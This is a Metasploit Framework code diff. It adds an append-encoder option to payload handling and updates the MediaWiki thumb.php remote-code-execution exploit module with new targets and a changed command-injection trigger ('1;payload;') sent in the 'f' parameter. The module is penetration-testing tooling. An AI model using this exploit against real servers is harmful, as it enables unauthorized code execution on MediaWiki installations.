diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 47d94f0dea..215e7d4ac3 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -232,6 +232,7 @@ class EncodedPayload # Prefix the prepend encoder value self.encoded = (reqs['PrependEncoder'] || '') + self.encoded + self.encoded << (reqs['AppendEncoder'] || '') end # diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 73fb4b48b6..27bff1ce90 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -524,6 +524,7 @@ class Exploit < Msf::Module reqs['PrependEncoder'] = payload_prepend_encoder(explicit_target) reqs['BadChars'] = payload_badchars(explicit_target) reqs['Append'] = payload_append(explicit_target) + reqs['AppendEncoder'] = payload_append_encoder(explicit_target) reqs['MaxNops'] = payload_max_nops(explicit_target) reqs['MinNops'] = payload_min_nops(explicit_target) reqs['Encoder'] = datastore['ENCODER'] @@ -831,6 +832,23 @@ class Exploit < Msf::Module p end + # + # Return any text that should be appended to the encoder of the payload. + # The payload module is passed so that the exploit can take a guess + # at architecture and platform if it's a multi exploit. + # + def payload_append_encoder(explicit_target = nil) + explicit_target ||= target + + if (explicit_target and explicit_target.payload_append_encoder) + p = explicit_target.payload_append_encoder + else + p = payload_info['AppendEncoder'] || '' + end + + p + end + # # Maximum number of nops to use as a hint to the framework. # Nil signifies that the framework should decide. diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 85672e923c..dda5870cea 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -292,7 +292,7 @@ module Exploit::Remote::HttpClient # The +opts+ will be updated to the updated location and +opts['redirect_uri']+ # will contain the full URI. # - def send_request_cgi_follow_redirect(opts={}, timeout = 20, redirect_depth = 1) + def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1) response = send_request_cgi(opts, timeout) if response && redirect_depth > 0 diff --git a/lib/msf/core/module/target.rb b/lib/msf/core/module/target.rb index 478bf055d7..30b6d993f3 100644 --- a/lib/msf/core/module/target.rb +++ b/lib/msf/core/module/target.rb @@ -198,6 +198,13 @@ class Msf::Module::Target opts['Payload'] ? opts['Payload']['PrependEncoder'] : nil end + # + # Payload append encoder information for this target. + # + def payload_append_encoder + opts['Payload'] ? opts['Payload']['AppendEncoder'] : nil + end + # # Payload stack adjustment information for this target. # diff --git a/modules/exploits/multi/http/mediawiki_thumb.rb b/modules/exploits/multi/http/mediawiki_thumb.rb index 7087780ebd..7613bfa16a 100644 --- a/modules/exploits/multi/http/mediawiki_thumb.rb +++ b/modules/exploits/multi/http/mediawiki_thumb.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Payload' => { - 'BadChars' => "`\r\n'", + 'BadChars' => "\r\n", 'PrependEncoder' => "php -r '", 'AppendEncoder' => "'" }, @@ -50,11 +50,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_PHP } ], - [ 'CMD', + [ 'Linux CMD', { 'Payload' => { - 'BadChars' => "`", + 'BadChars' => "\;", 'Compat' => { 'PayloadType' => 'cmd', @@ -64,6 +64,21 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => ['unix'], 'Arch' => ARCH_CMD } + ], + [ 'Windows CMD', + { + 'Payload' => + { + 'BadChars' => ";\\", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic php', + } + }, + 'Platform' => ['win'], + 'Arch' => ARCH_CMD + } ] ], 'DefaultTarget' => 0, @@ -105,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Remote opts = { 'uri' => normalize_uri(uri, 'index.php') } - response = send_request_cgi_follow_redirect(opts) + response = send_request_cgi!(opts) if opts['redirect_uri'] vprint_status("Redirected to #{opts['redirect_uri']}.") @@ -155,7 +170,7 @@ class Metasploit3 < Msf::Exploit::Remote # If we have already identified a DjVu file on the server trigger # the exploit - unless datastore['FILENAME'].blank? + if datastore['FILENAME'] payload_request(uri, datastore['FILENAME']) return end @@ -291,7 +306,7 @@ class Metasploit3 < Msf::Exploit::Remote end def payload_request(uri, file_name) - trigger = "1`#{payload.encoded}`" + trigger = "1;#{payload.encoded};" vars_get = { 'f' => file_name } if file_name.include? '.pdf' @@ -304,10 +319,14 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("Sending payload request...") - send_request_cgi({ + r = send_request_cgi({ 'uri' => normalize_uri(uri, 'thumb.php'), 'vars_get' => vars_get - }) + }, 1) + + if r + print_error("Received response, exploit probably failed.") + end end # The order of name, value keeps shifting so regex is painful.